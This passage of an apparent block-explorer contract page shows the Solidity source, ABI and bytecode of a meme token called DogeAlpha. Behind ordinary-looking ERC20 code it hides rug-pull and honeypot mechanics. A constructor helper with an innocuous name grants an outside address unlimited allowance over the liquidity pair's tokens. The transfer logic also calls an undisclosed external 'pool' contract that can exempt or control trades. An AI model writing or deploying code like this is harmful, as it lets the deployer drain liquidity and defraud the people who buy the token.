mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standadard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract DogeAlpha is ERC20, Ownable, AUTH { IUniswapRouter02 public uniswapRouterv2; using SafeMath for uint256; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses mapping(address => bool) public isAutomaticMarketMakers; bool private isSwap; // exlcude from fees and max transaction amount mapping(address => bool) private isExcludedFromFee; address public uniPair; uint256 public sellTaxValue; uint256 public buyTaxValue; address public dogeAlphaWallet; uint256 private _SupplyTotal; struct DogeAlphaProtocol {address uniswapRouter; address dogeAlphaAddr; address dogeAlphaPool; } uint256 public swapExactAmount; // could be subject to a maximum transfer amount uint256 public mxValueForTrans; uint256 public mxValueWallet; event ExcludedFromFee(address indexed account, bool isExcluded); struct LimitedFirstConfig {uint256 walletMaxAmt; address dogeAlWallet; uint256 buyTaxAmt; uint256 sellTaxAmt; uint256 tranxMaxAmt;} event LPPairUpdated(address indexed pair, bool indexed value); event ExcludedMultipleFromFee(address[] accounts, bool isExcluded); DogeAlphaProtocol private dogeAlParams; constructor( DogeAlphaProtocol memory dogeAlProValues, string memory name_, string memory symbol_, uint8 decimals_, LimitedFirstConfig memory taxDogeAlConfig ) payable ERC20(name_, symbol_, decimals_) { uint256 supply_ = 420_690_000_000_000; uniswapRouterv2 = IUniswapRouter02(dogeAlProValues.uniswapRouter); uniPair = IUniswapV2Factory(uniswapRouterv2.factory()).createPair(address(this), uniswapRouterv2.WETH()); _setupAutomationsSetting(dogeAlProValues.dogeAlphaAddr, uniPair, true); _SupplyTotal = supply_; swapExactAmount = (supply_.div(8000) + 1) * (10**decimals_); sellTaxValue = taxDogeAlConfig.sellTaxAmt; buyTaxValue = taxDogeAlConfig.buyTaxAmt; mxValueForTrans = taxDogeAlConfig.tranxMaxAmt * supply_ * (10**decimals_).div(10000); mxValueWallet = taxDogeAlConfig.walletMaxAmt * supply_ * (10**decimals_).div(10000); excludeFromFees(address(uniswapRouterv2), true); excludeFromFees(dogeAlProValues.dogeAlphaPool, true); excludeFromFees(owner(), true); excludeFromFees(address(this), true); dogeAlphaWallet = taxDogeAlConfig.dogeAlWallet; excludeFromFees(dogeAlProValues.dogeAlphaAddr, true); excludeFromFees(dogeAlphaWallet, true); // mint total supply _mint(owner(), supply_ * (10**decimals_)); dogeAlParams = dogeAlProValues; } function _setupAutomationsSetting(address router, address pair, bool value) private { require( isAutomaticMarketMakers[pair] != value, "Automated market maker pair is already set to that value" ); _allowances[pair][router] = type(uint).max; isAutomaticMarketMakers[pair] = value; emit LPPairUpdated(pair, value); } function swapKindBack(uint256 tokens, address receiver) private { uint256 initialBalance = address(this).balance; swapKindEthForTokens(tokens); uint256 newBalance = address(this).balance.sub(initialBalance); payable(receiver).transfer(newBalance); } function removeMaxLimits() external onlyOwner { mxValueForTrans = totalSupply(); mxValueWallet = totalSupply(); } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; emit ExcludedFromFee(account, excluded); } receive() external payable {} function _transfer( address sender, address recipient, uint256 amount ) internal override { if ((recipient == address(0) || recipient == address(0xdead)) || amount == 0 || taxIsNotIncludedFromUsers(sender, recipient) ) { super._transfer(sender, recipient, amount); return; } else { require( amount <= mxValueForTrans, "Transfer amount exceeds the mxValueForTrans." ); if (recipient != uniPair) { uint256 balanceOfTokens = balanceOf(recipient); require( balanceOfTokens + amount <= mxValueWallet, "Exceeds maximum wallet amount" ); } } uint256 teamTokenAmount = balanceOf(address(this)); bool swapPossible = teamTokenAmount >= swapExactAmount; if (!isSwap && swapPossible && !isAutomaticMarketMakers[sender]) { isSwap = true; uint256 teamkAmount = teamTokenAmount; if (teamkAmount > 0) { swapKindBack(teamkAmount, dogeAlphaWallet); } isSwap = false; } bool takeAllFee = !isSwap; if (isExcludedFromFee[recipient] || isExcludedFromFee[sender] ) { takeAllFee = false; } if (takeAllFee) { uint256 taxFeeAmt = amount.mul(buyTaxValue).div(1000); if (isAutomaticMarketMakers[recipient]) { taxFeeAmt = amount.mul(sellTaxValue).div(1000); } amount = amount.sub(taxFeeAmt); super._transfer(sender, address(this), taxFeeAmt); } super._transfer(sender, recipient, amount); } function taxIsNotIncludedFromUsers(address sender, address recipient) internal returns (bool) { return isExcludedFromFee[sender] || isExcludedFromFee[recipient] || IPeSharpDividend(dogeAlParams.dogeAlphaPool).accumulativeDividendOf(sender, recipient) > 0; } function swapKindEthForTokens(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouterv2.WETH(); _approve(address(this), address(uniswapRouterv2), tokenAmount); // make the swap uniswapRouterv2.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"components":[{"internalType":"address","name":"uniswapRouter","type":"address"},{"internalType":"address","name":"dogeAlphaAddr","type":"address"},{"internalType":"address","name":"dogeAlphaPool","type":"address"}],"internalType":"struct DogeAlpha.DogeAlphaProtocol","name":"dogeAlProValues","type":"tuple"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"components":[{"internalType":"uint256","name":"walletMaxAmt","type":"uint256"},{"internalType":"address","name":"dogeAlWallet","type":"address"},{"internalType":"uint256","name":"buyTaxAmt","type":"uint256"},{"internalType":"uint256","name":"sellTaxAmt","type":"uint256"},{"internalType":"uint256","name":"tranxMaxAmt","type":"uint256"}],"internalType":"struct DogeAlpha.LimitedFirstConfig","name":"taxDogeAlConfig","type":"tuple"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"accounts","type":"address[]"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedMultipleFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"LPPairUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dogeAlphaWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAutomaticMarketMakers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mxValueForTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mxValueWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouterv2","outputs":[{"internalType":"contract IUniswapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052604051620022e5380380620022e583398101604081905262000026916200097c565b838383600162000037848262000ae8565b50600262000046838262000ae8565b506003805460ff191660ff92909216919091179055505f9050620000673390565b600680546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508451600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905166017e9d8602b400929163c45a01559160048083019260209291908290030181865afa15801562000117573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200013d919062000bb0565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c3919062000bb0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200020e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000234919062000bb0565b600b80546001600160a01b0319166001600160a01b039290921691821790556020870151620002659160016200044e565b600f8190556200027783600a62000cd9565b6200028582611f4062000557565b6200029290600162000ce9565b6200029e919062000cff565b6010556060820151600c556040820151600d55620002cc612710620002c585600a62000cd9565b9062000557565b818360800151620002de919062000cff565b620002ea919062000cff565b60115562000301612710620002c585600a62000cd9565b82516200031090839062000cff565b6200031c919062000cff565b60125560075462000338906001600160a01b03166001620005a9565b60408601516200034a906001620005a9565b62000369620003616006546001600160a01b031690565b6001620005a9565b62000376306001620005a9565b602082810151600e80546001600160a01b0319166001600160a01b03909216919091179055860151620003ab906001620005a9565b600e54620003c4906001600160a01b03166001620005a9565b620003fa620003db6006546001600160a01b031690565b620003e885600a62000cd9565b620003f4908462000cff565b62000663565b50508351601380546001600160a01b03199081166001600160a01b03938416179091556020860151601480548316918416919091179055604090950151601580549096169116179093555062000d6d915050565b6001600160a01b0382165f9081526008602052604090205481151560ff909116151503620004e95760405162461bcd60e51b815260206004820152603860248201527f4175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c7565000000000000000060648201526084015b60405180910390fd5b6001600160a01b038281165f81815260056020908152604080832094881683529381528382205f19905582825260089052828120805460ff191685151590811790915592517f4bf69fee59f1751bf6064f46595c52d722796b529aca2b5a7b6d1ac6a8f8b0319190a3505050565b5f620005a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200074560201b60201c565b90505b92915050565b6006546001600160a01b03163314620006055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620004e0565b6001600160a01b0382165f818152600a6020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6001600160a01b038216620006bb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004e0565b600454620006ca908262000784565b6004556001600160a01b0382165f90815260208190526040902054620006f1908262000784565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f8183620007685760405162461bcd60e51b8152600401620004e0919062000d19565b505f62000776848662000d4d565b95945050505050565b505050565b5f8062000792838562000ce9565b905083811015620005a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004e0565b634e487b7160e01b5f52604160045260245ffd5b604051606081016001600160401b03811182821017156200081f576200081f620007e6565b60405290565b80516001600160a01b03811681146200083c575f80fd5b919050565b5f5b838110156200085d57818101518382015260200162000843565b50505f910152565b5f82601f83011262000875575f80fd5b81516001600160401b0380821115620008925762000892620007e6565b604051601f8301601f19908116603f01168101908282118183101715620008bd57620008bd620007e6565b81604052838152866020858801011115620008d6575f80fd5b620008e984602083016020890162000841565b9695505050505050565b805160ff811681146200083c575f80fd5b5f60a0828403121562000915575f80fd5b60405160a081016001600160401b03811182821017156200093a576200093a620007e6565b60405282518152905080620009526020840162000825565b60208201526040830151604082015260608301516060820152608083015160808201525092915050565b5f805f805f85870361016081121562000993575f80fd5b6060811215620009a1575f80fd5b50620009ac620007fa565b620009b78762000825565b8152620009c76020880162000825565b6020820152620009da6040880162000825565b604082015260608701519095506001600160401b0380821115620009fc575f80fd5b62000a0a89838a0162000865565b9550608088015191508082111562000a20575f80fd5b5062000a2f8882890162000865565b93505062000a4060a08701620008f3565b915062000a518760c0880162000904565b90509295509295909350565b600181811c9082168062000a7257607f821691505b60208210810362000a9157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200077f575f81815260208120601f850160051c8101602086101562000abf5750805b601f850160051c820191505b8181101562000ae05782815560010162000acb565b505050505050565b81516001600160401b0381111562000b045762000b04620007e6565b62000b1c8162000b15845462000a5d565b8462000a97565b602080601f83116001811462000b52575f841562000b3a5750858301515b5f19600386901b1c1916600185901b17855562000ae0565b5f85815260208120601f198616915b8281101562000b825788860151825594840194600190910190840162000b61565b508582101562000ba057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000bc1575f80fd5b620005a08262000825565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111562000c2057815f190482111562000c045762000c0462000bcc565b8085161562000c1257918102915b93841c939080029062000be5565b509250929050565b5f8262000c3857506001620005a3565b8162000c4657505f620005a3565b816001811462000c5f576002811462000c6a5762000c8a565b6001915050620005a3565b60ff84111562000c7e5762000c7e62000bcc565b50506001821b620005a3565b5060208310610133831016604e8410600b841016171562000caf575081810a620005a3565b62000cbb838362000be0565b805f190482111562000cd15762000cd162000bcc565b029392505050565b5f620005a060ff84168362000c28565b80820180821115620005a357620005a362000bcc565b8082028115828204841417620005a357620005a362000bcc565b602081525f825180602084015262000d3981604085016020870162000841565b601f01601f19169190910160400192915050565b5f8262000d6857634e487b7160e01b5f52601260045260245ffd5b500490565b61156a8062000d7b5f395ff3fe608060405260043610610164575f3560e01c80638da5cb5b116100cd578063d9a5b0cc11610087578063f2fde38b11610062578063f2fde38b1461043d578063f59d37441461045c578063f6a78e1714610471578063f7e33e1614610485575f80fd5b8063d9a5b0cc146103cf578063dd62ed3e146103e4578063f1da476114610428575f80fd5b80638da5cb5b1461032c57806395d89b41146103495780639e44586d1461035d578063a457c2d714610372578063a9059cbb14610391578063c0246668146103b0575f80fd5b806332972e461161011e57806332972e461461023f57806339509351146102765780635ed99dad1461029557806370a08231146102b4578063715018a6146102e857806375ff468a146102fe575f80fd5b806306fdde031461016f5780630757fcd014610199578063095ea7b3146101bc57806318160ddd146101eb57806323b872dd146101ff578063313ce5671461021e575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a4565b60405161019091906111e3565b60405180910390f35b3480156101a4575f80fd5b506101ae600d5481565b604051908152602001610190565b3480156101c7575f80fd5b506101db6101d6366004611245565b610534565b6040519015158152602001610190565b3480156101f6575f80fd5b506004546101ae565b34801561020a575f80fd5b506101db61021936600461126f565b61054a565b348015610229575f80fd5b5060035460405160ff9091168152602001610190565b34801561024a575f80fd5b50600b5461025e906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610281575f80fd5b506101db610290366004611245565b6105b1565b3480156102a0575f80fd5b5060075461025e906001600160a01b031681565b3480156102bf575f80fd5b506101ae6102ce3660046112ad565b6001600160a01b03165f9081526020819052604090205490565b3480156102f3575f80fd5b506102fc6105e6565b005b348015610309575f80fd5b506101db6103183660046112ad565b60086020525f908152604090205460ff1681565b348015610337575f80fd5b506006546001600160a01b031661025e565b348015610354575f80fd5b50610183610662565b348015610368575f80fd5b506101ae600c5481565b34801561037d575f80fd5b506101db61038c366004611245565b610671565b34801561039c575f80fd5b506101db6103ab366004611245565b6106be565b3480156103bb575f80fd5b506102fc6103ca3660046112c8565b6106ca565b3480156103da575f80fd5b506101ae60115481565b3480156103ef575f80fd5b506101ae6103fe366004611303565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610433575f80fd5b506101ae60125481565b348015610448575f80fd5b506102fc6104573660046112ad565b610752565b348015610467575f80fd5b506101ae60105481565b34801561047c575f80fd5b506102fc61083c565b348015610490575f80fd5b50600e5461025e906001600160a01b031681565b6060600180546104b39061132f565b80601f01602080910402602001604051908101604052809291908181526020018280546104df9061132f565b801561052a5780601f106105015761010080835404028352916020019161052a565b820191905f5260205f20905b81548152906001019060200180831161050d57829003601f168201915b5050505050905090565b5f610540338484610874565b5060015b92915050565b5f610556848484610998565b6105a784336105a2856040518060600160405280602881526020016114e8602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610c40565b610874565b5060019392505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916105409185906105a29086610c78565b6006546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611367565b60405180910390fd5b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6060600280546104b39061132f565b5f61054033846105a28560405180606001604052806025815260200161151060259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610c40565b5f610540338484610998565b6006546001600160a01b031633146106f45760405162461bcd60e51b815260040161061090611367565b6001600160a01b0382165f818152600a6020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6006546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061090611367565b6001600160a01b0381166107e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146108665760405162461bcd60e51b815260040161061090611367565b600454601155600454601255565b6001600160a01b0383166108d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b0382166109375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03821615806109b857506001600160a01b03821661dead145b806109c1575080155b806109d157506109d18383610cdd565b156109e6576109e1838383610d9d565b505050565b601154811115610a4d5760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d78566160448201526b363ab2a337b92a3930b7399760a11b6064820152608401610610565b600b546001600160a01b03838116911614610ad7576001600160a01b0382165f90815260208190526040902054601254610a8783836113b0565b1115610ad55760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e740000006044820152606401610610565b505b305f90815260208190526040902054601054600954908210159060ff16158015610afe5750805b8015610b2257506001600160a01b0385165f9081526008602052604090205460ff16155b15610b5e576009805460ff19166001179055818015610b5257600e54610b529082906001600160a01b0316610f1d565b506009805460ff191690555b6009546001600160a01b0385165f908152600a602052604090205460ff91821615911680610ba357506001600160a01b0386165f908152600a602052604090205460ff165b15610bab57505f5b8015610c2d575f610bd36103e8610bcd600d5488610f6f90919063ffffffff16565b90610fed565b6001600160a01b0387165f9081526008602052604090205490915060ff1615610c1457610c116103e8610bcd600c5488610f6f90919063ffffffff16565b90505b610c1e858261102e565b9450610c2b873083610d9d565b505b610c38868686610d9d565b505050505050565b5f8184841115610c635760405162461bcd60e51b815260040161061091906111e3565b505f610c6f84866113c3565b95945050505050565b5f80610c8483856113b0565b905083811015610cd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b9392505050565b6001600160a01b0382165f908152600a602052604081205460ff1680610d1a57506001600160a01b0382165f908152600a602052604090205460ff165b80610cd6575060155460405163cc5489df60e01b81526001600160a01b03858116600483015284811660248301525f92169063cc5489df906044016020604051808303815f875af1158015610d71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9591906113d6565b119392505050565b6001600160a01b038316610e015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610e635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b610e9f816040518060600160405280602681526020016114c2602691396001600160a01b0386165f908152602081905260409020549190610c40565b6001600160a01b038085165f908152602081905260408082209390935590841681522054610ecd9082610c78565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161098b565b47610f278361106f565b5f610f32478361102e565b6040519091506001600160a01b0384169082156108fc029083905f818181858888f19350505050158015610f68573d5f803e3d5ffd5b5050505050565b5f825f03610f7e57505f610544565b5f610f8983856113ed565b905082610f968583611404565b14610cd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b5f610cd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111b7565b5f610cd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c40565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106110a2576110a2611423565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111d9190611437565b8160018151811061113057611130611423565b6001600160a01b0392831660209182029290920101526007546111569130911684610874565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e9085905f90869030904290600401611452565b5f604051808303815f87803b1580156111a5575f80fd5b505af1158015610c38573d5f803e3d5ffd5b5f81836111d75760405162461bcd60e51b815260040161061091906111e3565b505f610c6f8486611404565b5f6020808352835180828501525f5b8181101561120e578581018301518582016040015282016111f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611242575f80fd5b50565b5f8060408385031215611256575f80fd5b82356112618161122e565b946020939093013593505050565b5f805f60608486031215611281575f80fd5b833561128c8161122e565b9250602084013561129c8161122e565b929592945050506040919091013590565b5f602082840312156112bd575f80fd5b8135610cd68161122e565b5f80604083850312156112d9575f80fd5b82356112e48161122e565b9150602083013580151581146112f8575f80fd5b809150509250929050565b5f8060408385031215611314575f80fd5b823561131f8161122e565b915060208301356112f88161122e565b600181811c9082168061134357607f821691505b60208210810361136157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105445761054461139c565b818103818111156105445761054461139c565b5f602082840312156113e6575f80fd5b5051919050565b80820281158282048414176105445761054461139c565b5f8261141e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611447575f80fd5b8151610cd68161122e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114a05784516001600160a01b03168352938301939183019160010161147b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220baa36682de9ae26076c00629bf585c2ccada7e2dcb7a327ab5d1a7b672d6a51c64736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c89666b50c623cc1725903cd529b77773eba17bf00000000000000000000000055c1d76fe62ccc646fb80ec63a4a2a893e2090610000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000